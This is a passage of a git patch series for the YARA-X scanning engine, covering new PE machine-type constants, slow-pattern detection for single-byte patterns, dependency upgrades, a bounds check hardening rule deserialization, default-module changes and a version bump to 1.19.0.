\x0bMACHINE_ARM\x10\xc0\x03\x12\x12\n\rMACHINE_ARMNT\x10\xc4\x03\x12\x13\ - \n\rMACHINE_ARM64\x10\xe4\xd4\x02\x12\x10\n\x0bMACHINE_EBC\x10\xbc\x1d\ - \x12\x11\n\x0cMACHINE_I386\x10\xcc\x02\x12\x11\n\x0cMACHINE_IA64\x10\x80\ - \x04\x12\x12\n\x0cMACHINE_M32R\x10\xc1\xa0\x02\x12\x13\n\x0eMACHINE_MIPS\ - 16\x10\xe6\x04\x12\x14\n\x0fMACHINE_MIPSFPU\x10\xe6\x06\x12\x16\n\x11MAC\ - HINE_MIPSFPU16\x10\xe6\x08\x12\x14\n\x0fMACHINE_POWERPC\x10\xf0\x03\x12\ - \x16\n\x11MACHINE_POWERPCFP\x10\xf1\x03\x12\x12\n\rMACHINE_R4000\x10\xe6\ - \x02\x12\x10\n\x0bMACHINE_SH3\x10\xa2\x03\x12\x13\n\x0eMACHINE_SH3DSP\ - \x10\xa3\x03\x12\x10\n\x0bMACHINE_SH4\x10\xa6\x03\x12\x10\n\x0bMACHINE_S\ - H5\x10\xa8\x03\x12\x12\n\rMACHINE_THUMB\x10\xc2\x03\x12\x16\n\x11MACHINE\ - _WCEMIPSV2\x10\xe9\x02\x1a\x06\x92\x93\x19\x02\x10\x01*\xa3\x03\n\tSubsy\ - stem\x12\x15\n\x11SUBSYSTEM_UNKNOWN\x10\0\x12\x14\n\x10SUBSYSTEM_NATIVE\ - \x10\x01\x12\x19\n\x15SUBSYSTEM_WINDOWS_GUI\x10\x02\x12\x19\n\x15SUBSYST\ - EM_WINDOWS_CUI\x10\x03\x12\x15\n\x11SUBSYSTEM_OS2_CUI\x10\x05\x12\x17\n\ + \x16RESOURCE_TYPE_MANIFEST\x10\x18\x1a\x06\x92\x93\x19\x02\x10\x01*\xf9\ + \x05\n\x07Machine\x12\x13\n\x0fMACHINE_UNKNOWN\x10\0\x12\x12\n\rMACHINE_\ + ALPHA\x10\x84\x03\x12\x14\n\x0fMACHINE_ALPHA64\x10\x84\x05\x12\x11\n\x0c\ + MACHINE_AM33\x10\xd3\x03\x12\x13\n\rMACHINE_AMD64\x10\xe4\x8c\x02\x12\ + \x10\n\x0bMACHINE_ARM\x10\xc0\x03\x12\x13\n\rMACHINE_ARM64\x10\xe4\xd4\ + \x02\x12\x15\n\x0fMACHINE_ARM64EC\x10\xc1\xcc\x02\x12\x14\n\x0eMACHINE_A\ + RM64X\x10\xce\xcc\x02\x12\x12\n\rMACHINE_ARMNT\x10\xc4\x03\x12\x12\n\rMA\ + CHINE_AXP64\x10\x84\x05\x12\x10\n\x0bMACHINE_EBC\x10\xbc\x1d\x12\x11\n\ + \x0cMACHINE_I386\x10\xcc\x02\x12\x11\n\x0cMACHINE_IA64\x10\x80\x04\x12\ + \x19\n\x13MACHINE_LOONGARCH32\x10\xb2\xc4\x01\x12\x19\n\x13MACHINE_LOONG\ + ARCH64\x10\xe4\xc4\x01\x12\x12\n\x0cMACHINE_M32R\x10\xc1\xa0\x02\x12\x13\ + \n\x0eMACHINE_MIPS16\x10\xe6\x04\x12\x14\n\x0fMACHINE_MIPSFPU\x10\xe6\ + \x06\x12\x16\n\x11MACHINE_MIPSFPU16\x10\xe6\x08\x12\x14\n\x0fMACHINE_POW\ + ERPC\x10\xf0\x03\x12\x16\n\x11MACHINE_POWERPCFP\x10\xf1\x03\x12\x14\n\ + \x0fMACHINE_R3000BE\x10\xe0\x02\x12\x12\n\rMACHINE_R3000\x10\xe2\x02\x12\ + \x12\n\rMACHINE_R4000\x10\xe6\x02\x12\x13\n\x0eMACHINE_R10000\x10\xe8\ + \x02\x12\x15\n\x0fMACHINE_RISCV32\x10\xb2\xa0\x01\x12\x15\n\x0fMACHINE_R\ + ISCV64\x10\xe4\xa0\x01\x12\x16\n\x10MACHINE_RISCV128\x10\xa8\xa2\x01\x12\ + \x10\n\x0bMACHINE_SH3\x10\xa2\x03\x12\x13\n\x0eMACHINE_SH3DSP\x10\xa3\ + \x03\x12\x10\n\x0bMACHINE_SH4\x10\xa6\x03\x12\x10\n\x0bMACHINE_SH5\x10\ + \xa8\x03\x12\x12\n\rMACHINE_THUMB\x10\xc2\x03\x12\x16\n\x11MACHINE_WCEMI\ + PSV2\x10\xe9\x02\x1a\x08\x10\x01\x92\x93\x19\x02\x10\x01*\xa3\x03\n\tSub\ + system\x12\x15\n\x11SUBSYSTEM_UNKNOWN\x10\0\x12\x14\n\x10SUBSYSTEM_NATIV\ + E\x10\x01\x12\x19\n\x15SUBSYSTEM_WINDOWS_GUI\x10\x02\x12\x19\n\x15SUBSYS\ + TEM_WINDOWS_CUI\x10\x03\x12\x15\n\x11SUBSYSTEM_OS2_CUI\x10\x05\x12\x17\n\ \x13SUBSYSTEM_POSIX_CUI\x10\x07\x12\x1c\n\x18SUBSYSTEM_NATIVE_WINDOWS\ \x10\x08\x12\x1c\n\x18SUBSYSTEM_WINDOWS_CE_GUI\x10\t\x12\x1d\n\x19SUBSYS\ TEM_EFI_APPLICATION\x10\n\x12%\n!SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER\x10\ diff --git a/lib/src/modules/protos/pe.proto b/lib/src/modules/protos/pe.proto index cc5e4042..b5717dc0 100644 --- a/lib/src/modules/protos/pe.proto +++ b/lib/src/modules/protos/pe.proto @@ -419,22 +419,37 @@ message Overlay { enum Machine { option (yara.enum_options).inline = true; + // AXP64 (0x0284) is the same value as ALPHA64, so aliasing must be allowed. + option allow_alias = true; MACHINE_UNKNOWN = 0x0000; + MACHINE_ALPHA = 0x0184; + MACHINE_ALPHA64 = 0x0284; MACHINE_AM33 = 0x01d3; MACHINE_AMD64 = 0x8664; MACHINE_ARM = 0x01c0; - MACHINE_ARMNT = 0x01c4; MACHINE_ARM64 = 0xaa64; + MACHINE_ARM64EC = 0xa641; + MACHINE_ARM64X = 0xa64e; + MACHINE_ARMNT = 0x01c4; + MACHINE_AXP64 = 0x0284; MACHINE_EBC = 0x0ebc; MACHINE_I386 = 0x014c; MACHINE_IA64 = 0x0200; + MACHINE_LOONGARCH32 = 0x6232; + MACHINE_LOONGARCH64 = 0x6264; MACHINE_M32R = 0x9041; MACHINE_MIPS16 = 0x0266; MACHINE_MIPSFPU = 0x0366; MACHINE_MIPSFPU16 = 0x0466; MACHINE_POWERPC = 0x01f0; MACHINE_POWERPCFP = 0x01f1; + MACHINE_R3000BE = 0x0160; + MACHINE_R3000 = 0x0162; MACHINE_R4000 = 0x0166; + MACHINE_R10000 = 0x0168; + MACHINE_RISCV32 = 0x5032; + MACHINE_RISCV64 = 0x5064; + MACHINE_RISCV128 = 0x5128; MACHINE_SH3 = 0x01a2; MACHINE_SH3DSP = 0x01a3; MACHINE_SH4 = 0x01a6; diff --git a/ls/src/tests/testdata/completion8.response.json b/ls/src/tests/testdata/completion8.response.json index 3559edcb..7e186ac4 100644 --- a/ls/src/tests/testdata/completion8.response.json +++ b/ls/src/tests/testdata/completion8.response.json @@ -548,6 +548,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_ALPHA", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ALPHA", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ALPHA64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ALPHA64", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_AM33", "insertTextFormat": 2, @@ -575,6 +593,33 @@ "description": "integer" } }, + { + "insertText": "MACHINE_ARM64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ARM64EC", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64EC", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_ARM64X", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_ARM64X", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_ARMNT", "insertTextFormat": 2, @@ -585,10 +630,10 @@ } }, { - "insertText": "MACHINE_ARM64", + "insertText": "MACHINE_AXP64", "insertTextFormat": 2, "kind": 5, - "label": "MACHINE_ARM64", + "label": "MACHINE_AXP64", "labelDetails": { "description": "integer" } @@ -620,6 +665,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_LOONGARCH32", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_LOONGARCH32", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_LOONGARCH64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_LOONGARCH64", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_M32R", "insertTextFormat": 2, @@ -674,6 +737,24 @@ "description": "integer" } }, + { + "insertText": "MACHINE_R3000BE", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R3000BE", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_R3000", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R3000", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_R4000", "insertTextFormat": 2, @@ -683,6 +764,42 @@ "description": "integer" } }, + { + "insertText": "MACHINE_R10000", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_R10000", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV32", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV32", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV64", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV64", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "MACHINE_RISCV128", + "insertTextFormat": 2, + "kind": 5, + "label": "MACHINE_RISCV128", + "labelDetails": { + "description": "integer" + } + }, { "insertText": "MACHINE_SH3", "insertTextFormat": 2, diff --git a/site/content/docs/modules/pe.md b/site/content/docs/modules/pe.md index 3773bd9a..2d27a611 100644 --- a/site/content/docs/modules/pe.md +++ b/site/content/docs/modules/pe.md @@ -580,30 +580,43 @@ rule WdmDriver { Each of the possible values in the `machine` field. -| Name | Number | -|-------------------|--------| -| MACHINE_UNKNOWN | 0 | -| MACHINE_AM33 | 467 | -| MACHINE_AMD64 | 34404 | -| MACHINE_ARM | 448 | -| MACHINE_ARMNT | 452 | -| MACHINE_ARM64 | 43620 | -| MACHINE_EBC | 3772 | -| MACHINE_I386 | 332 | -| MACHINE_IA64 | 512 | -| MACHINE_M32R | 36929 | -| MACHINE_MIPS16 | 614 | -| MACHINE_MIPSFPU | 870 | -| MACHINE_MIPSFPU16 | 1126 | -| MACHINE_POWERPC | 496 | -| MACHINE_POWERPCFP | 497 | -| MACHINE_R4000 | 358 | -| MACHINE_SH3 | 418 | -| MACHINE_SH3DSP | 419 | -| MACHINE_SH4 | 422 | -| MACHINE_SH5 | 424 | -| MACHINE_THUMB | 450 | -| MACHINE_WCEMIPSV2 | 361 | +| Name | Number | +|---------------------|--------| +| MACHINE_UNKNOWN | 0 | +| MACHINE_ALPHA | 388 | +| MACHINE_ALPHA64 | 644 | +| MACHINE_AM33 | 467 | +| MACHINE_AMD64 | 34404 | +| MACHINE_ARM | 448 | +| MACHINE_ARM64 | 43620 | +| MACHINE_ARM64EC | 42561 | +| MACHINE_ARM64X | 42574 | +| MACHINE_ARMNT | 452 | +| MACHINE_AXP64 | 644 | +| MACHINE_EBC | 3772 | +| MACHINE_I386 | 332 | +| MACHINE_IA64 | 512 | +| MACHINE_LOONGARCH32 | 25138 | +| MACHINE_LOONGARCH64 | 25188 | +| MACHINE_M32R | 36929 | +| MACHINE_MIPS16 | 614 | +| MACHINE_MIPSFPU | 870 | +| MACHINE_MIPSFPU16 | 1126 | +| MACHINE_POWERPC | 496 | +| MACHINE_POWERPCFP | 497 | +| MACHINE_R3000BE | 352 | +| MACHINE_R3000 | 354 | +| MACHINE_R4000 | 358 | +| MACHINE_R10000 | 360 | +| MACHINE_RISCV32 | 20530 | +| MACHINE_RISCV64 | 20580 | +| MACHINE_RISCV128 | 20776 | +| MACHINE_SH3 | 418 | +| MACHINE_SH3DSP | 419 | +| MACHINE_SH4 | 422 | +| MACHINE_SH5 | 424 | +| MACHINE_THUMB | 450 | +| MACHINE_WCEMIPSV2 | 361 | #### Example From b2e0fca0fdb4de54aae27a909741132bbac995f2 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Tue, 23 Jun 2026 14:36:25 +0200 Subject: [PATCH 08/25] chore: assert completeness of pattern flags for header constraints Add a debug assertion to ensure that all `PatternFlags` are explicitly accounted for when determining if a pattern can be used to derive a header constraint. This helps prevent future regressions if new flags are added without considering their impact on this logic. --- lib/src/compiler/ir/mod.rs | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/lib/src/compiler/ir/mod.rs b/lib/src/compiler/ir/mod.rs index 0d7d4ba8..6ded62fb 100644 --- a/lib/src/compiler/ir/mod.rs +++ b/lib/src/compiler/ir/mod.rs @@ -1049,17 +1049,31 @@ impl IR { // `base64` and `base64wide` make the bytes that actually // appear in the data differ from the literal text (they // are XORed, case-folded, interleaved with zeroes or - // base64-encoded), so no header constraint can be - // derived from them. - if pattern.flags().intersects( - PatternFlags::Xor - | PatternFlags::Nocase - | PatternFlags::Wide - | PatternFlags::Base64 - | PatternFlags::Base64Wide, - ) { + // base64-encoded), so no header constraint can be derived + // from them. + let excluded_flags = PatternFlags::Xor + | PatternFlags::Nocase + | PatternFlags::Wide + | PatternFlags::Base64 + | PatternFlags::Base64Wide; + + if pattern.flags().intersects(excluded_flags) { continue; } + + // Make sure that if we add a new flag in the future, we + // take it into account here. The new flag either makes + // the pattern ineligible as a header constraint (and must + // be added to `excluded_flags`, or it must be added to + // the list below. + debug_assert_eq!( + excluded_flags.complement(), + PatternFlags::Ascii + | PatternFlags::Fullword + | PatternFlags::Private + | PatternFlags::NonAnchorable + ); + if let MatchAnchor::At(offset_expr) = anchor && let Some(0) = self.get(*offset_expr).try_as_const_integer() From 71baa67f2337cf164bfa7ac4008f54b41476cadc Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Tue, 23 Jun 2026 16:53:52 +0200 Subject: [PATCH 09/25] feat: flag single-byte patterns as slow and allow failing compilation Single-byte patterns, such as `$a = "a"` or `{ 01 }`, can be very inefficient to scan as they match every occurrence of that byte. Previously, only repetitions of 0x00, 0x90, or 0xff were flagged as slow. --- lib/src/compiler/mod.rs | 31 ++++++++++++++----- lib/src/compiler/tests/mod.rs | 23 ++++++++++++++ .../compiler/tests/testdata/warnings/48.in | 7 +++++ .../compiler/tests/testdata/warnings/48.out | 10 ++++++ 4 files changed, 63 insertions(+), 8 deletions(-) create mode 100644 lib/src/compiler/tests/testdata/warnings/48.in create mode 100644 lib/src/compiler/tests/testdata/warnings/48.out diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index f162707e..f7b96424 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -1241,8 +1241,13 @@ impl Compiler<'_> { .retain(|pattern_id, _| *pattern_id < snapshot.next_pattern_id); } - /// Returns true if the bytes in the slice are all 0x00, 0x90, or 0xff. - fn common_byte_repetition(bytes: &[u8]) -> bool { + /// Returns true if the slice contains a single byte, or if the bytes in + /// the slice are all 0x00, 0x90, or 0xff. + fn is_slow_pattern_bytes(bytes: &[u8]) -> bool { + if bytes.len() == 1 { + return true; + } + let mut all_x00 = true; let mut all_x90 = true; let mut all_xff = true; @@ -1268,7 +1273,7 @@ impl Compiler<'_> { } } - true + !bytes.is_empty() } /// Reads the file specified by an `include` statement. @@ -1611,16 +1616,26 @@ impl Compiler<'_> { Pattern::Hex(re) => re.hir.as_literal_bytes(), }; if let Some(literal_bytes) = literal_bytes - && Self::common_byte_repetition(literal_bytes) + && Self::is_slow_pattern_bytes(literal_bytes) { - self.warnings.add(|| { - warnings::SlowPattern::build( + if self.error_on_slow_pattern { + self.restore_snapshot(snapshot); + return Err(errors::SlowPattern::build( &self.report_builder, self.report_builder .span_to_code_loc(pat.span().clone()), None, - ) - }); + )); + } else { + self.warnings.add(|| { + warnings::SlowPattern::build( + &self.report_builder, + self.report_builder + .span_to_code_loc(pat.span().clone()), + None, + ) + }); + } } } } diff --git a/lib/src/compiler/tests/mod.rs b/lib/src/compiler/tests/mod.rs index 1342dce6..288590e5 100644 --- a/lib/src/compiler/tests/mod.rs +++ b/lib/src/compiler/tests/mod.rs @@ -1436,3 +1436,26 @@ fn test_filesize_bounds() { FilesizeBounds::from((Bound::Excluded(1), Bound::Excluded(1000))) ); } + +#[test] +fn test_error_on_slow_pattern() { + let mut compiler = Compiler::new(); + compiler.error_on_slow_pattern(true); + + let err = compiler + .add_source( + r#" + rule test { + strings: + $a = "a" + condition: + $a + } + "#, + ) + .unwrap_err(); + + assert!(matches!(err, crate::errors::CompileError::SlowPattern(_))); +} + + diff --git a/lib/src/compiler/tests/testdata/warnings/48.in b/lib/src/compiler/tests/testdata/warnings/48.in new file mode 100644 index 00000000..9f33e31a --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/48.in @@ -0,0 +1,7 @@ +rule single_byte_pattern { + strings: + $a = "a" + $b = { 01 } + condition: + $a or $b +} diff --git a/lib/src/compiler/tests/testdata/warnings/48.out b/lib/src/compiler/tests/testdata/warnings/48.out new file mode 100644 index 00000000..ea8f8c6f --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/48.out @@ -0,0 +1,10 @@ +warning[slow_pattern]: slow pattern + --> line:3:5 + | +3 | $a = "a" + | -------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:4:10 + | +4 | $b = { 01 } + | ------ this pattern may slow down the scan From 3f2b2aa9962e548bf559dd8fb0b409cd4caaebe1 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Tue, 23 Jun 2026 16:58:16 +0200 Subject: [PATCH 10/25] chore: upgrade dependencies. --- Cargo.lock | 44 +++++++++++++++++++++++++++++++------------- Cargo.toml | 2 +- lib/Cargo.toml | 2 +- 3 files changed, 33 insertions(+), 15 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index fdf015d6..24141a94 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -26,6 +26,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "alloca" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5a7d05ea6aea7e9e64d25b9156ba2fee3fdd659e34e41063cd2fc7cd020d7f4" +dependencies = [ + "cc", +] + [[package]] name = "allocator-api2" version = "0.2.21" @@ -309,9 +318,9 @@ dependencies = [ [[package]] name = "bitvec" -version = "1.0.1" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +checksum = "ddcec3d12c579d40898fe0a9a358a803c23e9c52ca3c425707f81c9436211837" dependencies = [ "funty", "radium", @@ -750,25 +759,24 @@ dependencies = [ [[package]] name = "criterion" -version = "0.5.1" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f" +checksum = "950046b2aa2492f9a536f5f4f9a3de7b9e2476e575e05bd6c333371add4d98f3" dependencies = [ + "alloca", "anes", "cast", "ciborium", "clap", "criterion-plot", - "is-terminal", - "itertools 0.10.5", + "itertools 0.13.0", "num-traits", - "once_cell", "oorandom", + "page_size", "plotters", "rayon", "regex", "serde", - "serde_derive", "serde_json", "tinytemplate", "walkdir", @@ -776,12 +784,12 @@ dependencies = [ [[package]] name = "criterion-plot" -version = "0.5.0" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1" +checksum = "d8d80a2f4f5b554395e47b5d8305bc3d27813bacb73493eb1001e8f76dae29ea" dependencies = [ "cast", - "itertools 0.10.5", + "itertools 0.13.0", ] [[package]] @@ -1785,9 +1793,9 @@ checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" [[package]] name = "itertools" -version = "0.10.5" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" dependencies = [ "either", ] @@ -2250,6 +2258,16 @@ dependencies = [ "sha2", ] +[[package]] +name = "page_size" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30d5b2194ed13191c1999ae0704b7839fb18384fa22e49b57eeaa97d79ce40da" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "parking_lot" version = "0.12.5" diff --git a/Cargo.toml b/Cargo.toml index bb749189..48c0fe5f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -39,7 +39,7 @@ ascii_tree = "0.1.1" base64 = "0.22.1" bincode = "2.0.1" bitflags = "2.13.0" -bitvec = "1.0.1" +bitvec = "1.1.1" bstr = "1.12.1" cbindgen = "0.29.4" chrono = "0.4.45" diff --git a/lib/Cargo.toml b/lib/Cargo.toml index 219e5ab1..3c69aa21 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -368,7 +368,7 @@ protobuf-parse = { workspace = true, optional = true } yara-x-proto = { workspace = true, optional = true } [dev-dependencies] -criterion = "0.5" +criterion = "0.8" globwalk = { workspace = true } goldenfile = { workspace = true } ihex = { workspace = true } From 496b5c82f3db66e655e7ff459347438d7aeade74 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Tue, 23 Jun 2026 16:58:55 +0200 Subject: [PATCH 11/25] style: remove empty lines. --- lib/src/compiler/tests/mod.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/src/compiler/tests/mod.rs b/lib/src/compiler/tests/mod.rs index 288590e5..6e85924c 100644 --- a/lib/src/compiler/tests/mod.rs +++ b/lib/src/compiler/tests/mod.rs @@ -1457,5 +1457,3 @@ fn test_error_on_slow_pattern() { assert!(matches!(err, crate::errors::CompileError::SlowPattern(_))); } - - From 4fbaf55606e06af6e109d02b764a9190edf8c4ed Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 12:15:07 +0200 Subject: [PATCH 12/25] docs: add documentation for `Rules::header_constraints`. --- lib/src/compiler/rules.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 16a6fafe..07e82741 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -119,6 +119,17 @@ pub struct Rules { pub(in crate::compiler) filesize_bounds: FxHashMap, + /// Map that associates a `PatternId` to a certain constraint on the + /// file header (e.g. magic bytes at offset 0), if any. + /// + /// A condition like `uint16(0) == 0x5A4D and $a` or `$mz at 0 and $a` + /// (where $mz = "MZ") only matches if the file starts with "MZ" (0x5A4D). + /// In this case, the map will contain an entry associating `$a` to a + /// `HeaderConstraint` that requires the file to start with those two + /// bytes. + /// + /// This allows skipping pattern checks entirely if the scanned data + /// doesn't start with the expected header prefix. pub(in crate::compiler) header_constraints: FxHashMap, From 25efa375572efcfbe880a263ee3b0932d4b61a24 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 13:34:04 +0200 Subject: [PATCH 13/25] fix: prevent undefined behavior when deserializing rules from untrusted binary data. When `Rules::deserialize` is used for deserializing rules from binary data, we must guarantee that the binary data is not manipulated by untrusted third-parties as this poses a security risk. With these changes the risks are not eliminated, but they are mitigated by making sure that your program will panic in such cases, and don't produce undefined behavior. --- lib/src/compiler/mod.rs | 13 ++++++++++++- lib/src/compiler/rules.rs | 23 +++++++++++++++++++++++ lib/src/models.rs | 4 +--- 3 files changed, 36 insertions(+), 4 deletions(-) diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index f7b96424..155490ca 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -2932,7 +2932,18 @@ impl From for usize { /// For each pattern there's one or more sub-patterns, depending on the pattern /// and its modifiers. For example the pattern `"foo" ascii wide` may have one /// subpattern for the ascii case and another one for the wide case. -#[derive(Copy, Clone, Debug, Eq, Hash, PartialEq, Serialize, Deserialize)] +#[derive( + Copy, + Clone, + Debug, + Eq, + Hash, + PartialEq, + PartialOrd, + Ord, + Serialize, + Deserialize, +)] #[serde(transparent)] pub(crate) struct SubPatternId(u32); diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 07e82741..e8d186de 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -218,6 +218,14 @@ impl Rules { /// Deserializes the rules from a sequence of bytes produced by /// [`Rules::serialize`]. + /// + /// # Safety + /// + /// As long as you are deserializing rules from binary content produced + /// by [`Rules::serialize`] you are safe. But you should never attempt + /// to do so from binary content that was produced or could be manipulated + /// by a third party. This implies a security risk and your program may + /// panic during scanning. pub fn deserialize(bytes: B) -> Result where B: AsRef<[u8]>, @@ -284,6 +292,21 @@ impl Rules { rules.build_ac_automaton(); + // Make sure that the maximum SubPatternId is within the boundaries + // of sub_patterns array. This check is important because during + // the scanning phase we use SubPatternId as indexes in the array + // without boundary checks for better performance. + let max_sub_pattern_id = rules + .atoms + .iter() + .map(|atom| atom.sub_pattern_id) + .max() + .unwrap_or(SubPatternId(0)); + + if rules.sub_patterns.len() < max_sub_pattern_id.0 as usize { + return Err(SerializationError::InvalidFormat); + } + Ok(rules) } diff --git a/lib/src/models.rs b/lib/src/models.rs index 7bf583e8..b1440925 100644 --- a/lib/src/models.rs +++ b/lib/src/models.rs @@ -203,9 +203,7 @@ impl<'r> Iterator for Metadata<'_, 'r> { compiler::MetaValue::Float(f) => MetaValue::Float(*f), compiler::MetaValue::String(id) => { let s = self.rules.lit_pool().get(*id).unwrap(); - // We can be sure that s is a valid UTF-8 string, because - // the type of meta is MetaValue::String. - let s = unsafe { s.to_str_unchecked() }; + let s = s.to_str().unwrap(); MetaValue::String(s) } compiler::MetaValue::Bytes(id) => { From f7d6a43a1af114abc55a9a94169d2e20dcbda0cd Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 13:55:01 +0200 Subject: [PATCH 14/25] chore: don't include `vba` and `olecf` as default modules. They are still experimental. --- lib/Cargo.toml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/Cargo.toml b/lib/Cargo.toml index 3c69aa21..75c77d0d 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -262,12 +262,14 @@ default-modules = [ "macho-module", "math-module", "hash-module", - "olecf-module", + # Still experimental + # "olecf-module", "pe-module", "string-module", "time-module", "lnk-module", - "vba-module", + # Still experimental + # "vba-module", "test_proto2-module", "test_proto3-module", "vt-module", From 4426f0a3ce52e14732bb8b94dba2c0e183812003 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Wed, 24 Jun 2026 13:56:24 +0200 Subject: [PATCH 15/25] chore: bump version to 1.19.0. --- Cargo.lock | 20 ++++++++++---------- Cargo.toml | 12 ++++++------ 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 24141a94..02f58522 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4388,7 +4388,7 @@ dependencies = [ [[package]] name = "yara-x" -version = "1.18.0" +version = "1.19.0" dependencies = [ "annotate-snippets", "anyhow", @@ -4466,7 +4466,7 @@ dependencies = [ [[package]] name = "yara-x-capi" -version = "1.18.0" +version = "1.19.0" dependencies = [ "assert-call", "cbindgen", @@ -4476,7 +4476,7 @@ dependencies = [ [[package]] name = "yara-x-cli" -version = "1.18.0" +version = "1.19.0" dependencies = [ "anyhow", "ascii_tree", @@ -4515,7 +4515,7 @@ dependencies = [ [[package]] name = "yara-x-fmt" -version = "1.18.0" +version = "1.19.0" dependencies = [ "bitflags 2.13.0", "bstr", @@ -4529,7 +4529,7 @@ dependencies = [ [[package]] name = "yara-x-js" -version = "1.18.0" +version = "1.19.0" dependencies = [ "getrandom 0.2.17", "js-sys", @@ -4545,7 +4545,7 @@ dependencies = [ [[package]] name = "yara-x-ls" -version = "1.18.0" +version = "1.19.0" dependencies = [ "async-lsp", "bitflags 2.13.0", @@ -4575,7 +4575,7 @@ dependencies = [ [[package]] name = "yara-x-macros" -version = "1.18.0" +version = "1.19.0" dependencies = [ "darling", "proc-macro2", @@ -4585,7 +4585,7 @@ dependencies = [ [[package]] name = "yara-x-parser" -version = "1.18.0" +version = "1.19.0" dependencies = [ "anyhow", "ascii_tree", @@ -4608,7 +4608,7 @@ dependencies = [ [[package]] name = "yara-x-proto" -version = "1.18.0" +version = "1.19.0" dependencies = [ "base64", "chrono", @@ -4622,7 +4622,7 @@ dependencies = [ [[package]] name = "yara-x-py" -version = "1.18.0" +version = "1.19.0" dependencies = [ "base64", "protobuf", diff --git a/Cargo.toml b/Cargo.toml index 48c0fe5f..7d78701b 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,5 @@ [workspace.package] -version = "1.18.0" +version = "1.19.0" authors = ["Victor M. Alvarez "] edition = "2024" homepage = "https://virustotal.github.io/yara-x" @@ -109,11 +109,11 @@ wasm-opt = "0.116.1" wasmtime = { version = "43.0.2", default-features = false } x509-parser = "0.18.0" yansi = "1.0.1" -yara-x = { path = "lib", version = "1.18.0" } -yara-x-fmt = { 